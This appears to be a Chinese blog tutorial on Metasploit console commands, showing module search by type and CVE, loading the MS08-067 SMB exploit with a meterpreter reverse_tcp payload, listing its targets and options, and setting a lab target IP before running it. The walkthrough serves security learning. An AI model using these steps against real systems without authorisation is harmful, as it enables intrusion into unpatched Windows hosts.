网络空间安全之一个WH的超前沿全栈技术深入学习之路(13-2)白帽必经之路——如何用Metasploit 渗透到她的心才不会让我释怀

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全------全栈前沿技术持续深入学习

专栏跑道二

➡️ 24 Network Security -LJS

专栏跑道三

➡️MYSQL REDIS Advance operation

专栏跑道四

➡️HCIP;H3C-SE;CCIP------LJS[华为、华三、思科高级网络]

专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

目录

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

[以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]](#以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现])

专栏跑道一

➡️网络空间安全------全栈前沿技术持续深入学习

专栏跑道二

[➡️ 24 Network Security -LJS](#➡️ 24 Network Security -LJS)

专栏跑道三

[➡️ MYSQL REDIS Advance operation](#➡️ MYSQL REDIS Advance operation)

专栏跑道四

➡️HCIP;H3C-SE;CCIP------LJS[华为、华三、思科高级网络]

专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]​编辑​

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

[4.MS模块命令 之search 搜索的使用方法](#4.MS模块命令 之search 搜索的使用方法)

示例4:通过类型进行查找

示例5:联合查找

注意:

[示例6:根据 CVE 搜索 exploit 相关模块](#示例6:根据 CVE 搜索 exploit 相关模块)

补充:

搜索参数可以组合使用,可以更精准的查询到对应的模块。

​编辑

[5、模块相关的命令 use 的使用方法](#5、模块相关的命令 use 的使用方法)

[查找出 ms08_067 漏洞模块](#查找出 ms08_067 漏洞模块)

[扩展:以下3种查找结果是一样,metasploit 支持模糊查找,不区分大小写](#扩展:以下3种查找结果是一样,metasploit 支持模糊查找,不区分大小写)

装载一个渗透攻击模块

[6、模块相关的命令 info 的使用方法](#6、模块相关的命令 info 的使用方法)

[方法 1:info 模块名称](#方法 1:info 模块名称)

[方法 2:use 装载模块后直接使用 info](#方法 2:use 装载模块后直接使用 info)

从bash交互式回显中,需要重点关注的内容是:

(1)、可用目标,就是查看可以攻击哪些操作系统

[(2)、Basic options: 调用漏洞需要的相关参数](#(2)、Basic options: 调用漏洞需要的相关参数)

(3)、漏洞描述和执行过程:

[方法 3:使用 show 命令查看模块的相关信息](#方法 3:使用 show 命令查看模块的相关信息)

查看模块的选项

查看可以攻击哪些操作系统

[设置 RHOSTS 参数,指定攻击的目标机器](#设置 RHOSTS 参数,指定攻击的目标机器)

查看设置的值

特别注意:

4.MS模块命令 之search 搜索的使用方法

示例4:通过类型进行查找

  • 这里要使用到 type:命令。
  • type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
  • 要搜索 exploit 模块,那么就输入如下命令:
bash 复制代码
msf6 > search type:exploit

示例5:联合查找

  • 可以使用上面的参数自行搭配使用。
  • 如果要查找 mysql 的 exploit 相关漏洞。那么可以输入:
bash 复制代码
msf6 >  search name:mysql type:exploit

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/linux/mysql/mysql_yassl_getname        2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow
   1  exploit/linux/mysql/mysql_yassl_hello          2008-01-04       good       No     MySQL yaSSL SSL Hello Message Buffer Overflow
   2  exploit/windows/mysql/mysql_yassl_hello        2008-01-04       average    No     MySQL yaSSL SSL Hello Message Buffer Overflow
   3  exploit/multi/mysql/mysql_udf_payload          2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
   4  exploit/windows/mysql/mysql_start_up           2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   5  exploit/windows/mysql/mysql_mof                2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution
   6  exploit/windows/mysql/scrutinizer_upload_exec  2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential


Interact with a module by name or index. For example info 6, use 6 or use exploit/windows/mysql/scrutinizer_upload_exec                                                               

msf6 > 

注意:

  • MySQL yaSSL CertDecoder::GetName Buffer Overflow 的意思是:
  • mysql yassl certdecoder::getname 缓冲区溢

示例6:根据 CVE 搜索 exploit 相关模块

bash 复制代码
msf6 >  search cve:CVE-2017-8464 type:exploit     #查找:CVE-2017-8464 远程命令执行漏洞

Matching Modules
================

   #  Name                                              Disclosure Date  Rank   Check  Description
   -  ----                                              ---------------  ----   -----  -----------
   0  exploit/windows/fileformat/cve_2017_8464_lnk_rce  2017-06-13       great  No     LNK Code Execution Vulnerability
   1  exploit/windows/local/cve_2017_8464_lnk_lpe       2017-06-13       great  Yes    LNK Code Execution Vulnerability


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/cve_2017_8464_lnk_lpe                                                                 

bash 复制代码
msf6 > search cve:2018 name:linux   #查找 2018 年 linux 相关的漏洞模块

Matching Modules
================

   #  Name                                                       Disclosure Date  Rank   Check  Description
   -  ----                                                       ---------------  ----   -----  -----------
   0  exploit/linux/local/nested_namespace_idmap_limit_priv_esc  2018-11-15       great  Yes    Linux Nested User Namespace idmap Limit Local Privilege Escalation


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/nested_namespace_idmap_limit_priv_esc                                                   

msf6 > 

补充:
搜索参数可以组合使用,可以更精准的查询到对应的模块。

5、模块相关的命令 use 的使用方法

  • use 使用参数。如你要使用到某个模块,就要使用到 use 命令
  • 语法:use 模块的名字

查找出 ms08_067 漏洞模块

bash 复制代码
msf6 >  search ms08_067
                                                                                               
Matching Modules                                                                               
================                                                                               
                                                                                               
   #  Name                                 Disclosure Date  Rank   Check  Description          
   -  ----                                 ---------------  ----   -----  -----------          
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption                                                    
                                                                                               
                                                                                               
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi                                                                                 
                                                                                               
msf6 >          

扩展:以下3种查找结果是一样,metasploit 支持模糊查找,不区分大小写

装载一个渗透攻击模块

bash 复制代码
msf6 >  
msf6 > use exploit/windows/smb/ms08_067_netapi                                                                                                     
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > back 
msf6 > 

  • 可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。
  • 稍后我们使用这个模块进行攻击。

6、模块相关的命令 info 的使用方法

  • info :显示模块的相关信息。

方法 1:info 模块名称

bash 复制代码
msf6 >  info exploit/windows/smb/ms08_067_netapi

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Targeting
      1   Windows 2000 Universal
      2   Windows XP SP0/SP1 Universal
      3   Windows 2003 SP0 Universal
      4   Windows XP SP2 English (AlwaysOn NX)
      5   Windows XP SP2 English (NX)
      6   Windows XP SP3 English (AlwaysOn NX)
      7   Windows XP SP3 English (NX)
      8   Windows XP SP2 Arabic (NX)
      9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
      10  Windows XP SP2 Chinese - Simplified (NX)
      11  Windows XP SP2 Chinese - Traditional (NX)
      12  Windows XP SP2 Czech (NX)
      13  Windows XP SP2 Danish (NX)
      14  Windows XP SP2 German (NX)
      15  Windows XP SP2 Greek (NX)
      16  Windows XP SP2 Spanish (NX)
      17  Windows XP SP2 Finnish (NX)
      18  Windows XP SP2 French (NX)
      19  Windows XP SP2 Hebrew (NX)
      20  Windows XP SP2 Hungarian (NX)
      21  Windows XP SP2 Italian (NX)
      22  Windows XP SP2 Japanese (NX)
      23  Windows XP SP2 Korean (NX)
      24  Windows XP SP2 Dutch (NX)
      25  Windows XP SP2 Norwegian (NX)
      26  Windows XP SP2 Polish (NX)
      27  Windows XP SP2 Portuguese - Brazilian (NX)
      28  Windows XP SP2 Portuguese (NX)
      29  Windows XP SP2 Russian (NX)
      30  Windows XP SP2 Swedish (NX)
      31  Windows XP SP2 Turkish (NX)
      32  Windows XP SP3 Arabic (NX)
      33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
      34  Windows XP SP3 Chinese - Simplified (NX)
      35  Windows XP SP3 Chinese - Traditional (NX)
      36  Windows XP SP3 Czech (NX)
      37  Windows XP SP3 Danish (NX)
      38  Windows XP SP3 German (NX)
      39  Windows XP SP3 Greek (NX)
      40  Windows XP SP3 Spanish (NX)
      41  Windows XP SP3 Finnish (NX)
      42  Windows XP SP3 French (NX)
      43  Windows XP SP3 Hebrew (NX)
      44  Windows XP SP3 Hungarian (NX)
      45  Windows XP SP3 Italian (NX)
      46  Windows XP SP3 Japanese (NX)
      47  Windows XP SP3 Korean (NX)
      48  Windows XP SP3 Dutch (NX)
      49  Windows XP SP3 Norwegian (NX)
      50  Windows XP SP3 Polish (NX)
      51  Windows XP SP3 Portuguese - Brazilian (NX)
      52  Windows XP SP3 Portuguese (NX)
      53  Windows XP SP3 Russian (NX)
      54  Windows XP SP3 Swedish (NX)
      55  Windows XP SP3 Turkish (NX)
      56  Windows 2003 SP1 English (NO NX)
      57  Windows 2003 SP1 English (NX)
      58  Windows 2003 SP1 Japanese (NO NX)
      59  Windows 2003 SP1 Spanish (NO NX)
      60  Windows 2003 SP1 Spanish (NX)
      61  Windows 2003 SP1 French (NO NX)
      62  Windows 2003 SP1 French (NX)
      63  Windows 2003 SP2 English (NO NX)
      64  Windows 2003 SP2 English (NX)
      65  Windows 2003 SP2 German (NO NX)
      66  Windows 2003 SP2 German (NX)
      67  Windows 2003 SP2 Portuguese (NX)
      68  Windows 2003 SP2 Portuguese - Brazilian (NX)
      69  Windows 2003 SP2 Spanish (NO NX)
      70  Windows 2003 SP2 Spanish (NX)
      71  Windows 2003 SP2 Japanese (NO NX)
      72  Windows 2003 SP2 French (NO NX)
      73  Windows 2003 SP2 French (NX)
      74  Windows 2003 SP2 Chinese - Simplified (NX)
      75  Windows 2003 SP2 Czech (NX)
      76  Windows 2003 SP2 Dutch (NX)
      77  Windows 2003 SP2 Hungarian (NX)
      78  Windows 2003 SP2 Italian (NX)
      79  Windows 2003 SP2 Russian (NX)
      80  Windows 2003 SP2 Swedish (NX)
      81  Windows 2003 SP2 Turkish (NX)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization code of
  NetAPI32.dll through the Server Service. This module is capable of bypassing
  NX on some operating systems and service packs. The correct target must be
  used to prevent the Server Service (along with a dozen others in the same
  process) from crashing. Windows XP targets seem to handle multiple successful
  exploitation events, but 2003 targets will often crash or hang on subsequent
  attempts. This is just the first version of this module, full support for
  NX bypass on 2003, along with other platforms, is still in development.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/


View the full module info with the info -d command.

msf6 > 
                                                                                                                                                                                                                                                                                    
                                                                                

方法 2:use 装载模块后直接使用 info

bash 复制代码
msf6 >  use exploit/windows/smb/ms08_067_netapi
[*] Using configured payload windows/meterpreter/reverse_tcp                                                                                                
msf6 exploit(windows/smb/ms08_067_netapi) > 
                                                    

从bash交互式回显中,需要重点关注的内容是:

(1)、可用目标,就是查看可以攻击哪些操作系统

(2)、Basic options: 调用漏洞需要的相关参数
bash 复制代码
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

(3)、漏洞描述和执行过程:
bash 复制代码
Description:
  This module exploits a parsing flaw in the path canonicalization code of
  NetAPI32.dll through the Server Service. This module is capable of bypassing
  NX on some operating systems and service packs. The correct target must be
  used to prevent the Server Service (along with a dozen others in the same
  process) from crashing. Windows XP targets seem to handle multiple successful
  exploitation events, but 2003 targets will often crash or hang on subsequent
  attempts. This is just the first version of this module, full support for
  NX bypass on 2003, along with other platforms, is still in development.

(4)、参考文档

bash 复制代码
References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/

方法 3:使用 show 命令查看模块的相关信息

查看模块的选项

bash 复制代码
msf6 exploit(windows/smb/ms08_067_netapi) > show options 
                                                                                                                                                            
Module options (exploit/windows/smb/ms08_067_netapi):                                                                                                       
                                                                                                                                                            
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.79.135   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

查看可以攻击哪些操作系统

bash 复制代码
msf6 exploit(windows/smb/ms08_067_netapi) > show targets 

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Automatic Targeting
    1   Windows 2000 Universal
    2   Windows XP SP0/SP1 Universal
    3   Windows 2003 SP0 Universal
    4   Windows XP SP2 English (AlwaysOn NX)
    5   Windows XP SP2 English (NX)
    6   Windows XP SP3 English (AlwaysOn NX)
    7   Windows XP SP3 English (NX)
    8   Windows XP SP2 Arabic (NX)
    9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
    10  Windows XP SP2 Chinese - Simplified (NX)
    11  Windows XP SP2 Chinese - Traditional (NX)
    12  Windows XP SP2 Czech (NX)
    13  Windows XP SP2 Danish (NX)
    14  Windows XP SP2 German (NX)
    15  Windows XP SP2 Greek (NX)

7.设置 RHOSTS 参数,指定攻击的目标机器

bash 复制代码
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.54
RHOSTS => 192.168.1.54

查看设置的值

bash 复制代码
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.1.54     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

  • 配置好了之后我们输入 exploit 或 run 就可以执行该模块。

特别注意:

  • 使用 back 即可退出装载的模块
  • 不要使用 exit,exit 会直接退出 Metasploit 程序


相关推荐
stormjun23 分钟前
2025 年 Java 最新学习资料与学习路线——从零基础到高手的成长之路
java·开发语言·学习·java学习路线·java 学习教程·2025java 学习路线
【上下求索】30 分钟前
学习笔记081——如何备份服务器中MySQL数据库数据?
数据库·笔记·学习
dal118网工任子仪36 分钟前
55.【5】BUUCTF WEB NCTF2019 sqli
数据库·笔记·sql·学习·mysql·安全
隼玉1 小时前
【STM32-学习笔记-10-】BKP备份寄存器+时间戳
c语言·笔记·stm32·学习
虾球xz1 小时前
游戏引擎学习第79天
学习·游戏引擎
CSDN云计算1 小时前
聚焦算力、AI、安全、5G等十大领域,赛迪顾问发布2025年IT趋势
人工智能·5g·安全·量子计算·赛迪
yzx9910131 小时前
OpenCV入门学习
学习
Linux运维老纪1 小时前
备份和容灾之区别(The Difference between Backup and Disaster Recovery)
linux·运维·服务器·数据库·安全·云计算·运维开发
黑不拉几的小白兔1 小时前
Python爬虫学习前传 —— Python从安装到学会一站式服务
爬虫·python·学习
ACGkaka_2 小时前
Python学习(十)IO编程(文件读写、StringIO和BytesIO、操作文件和目录、序列化)
python·学习·php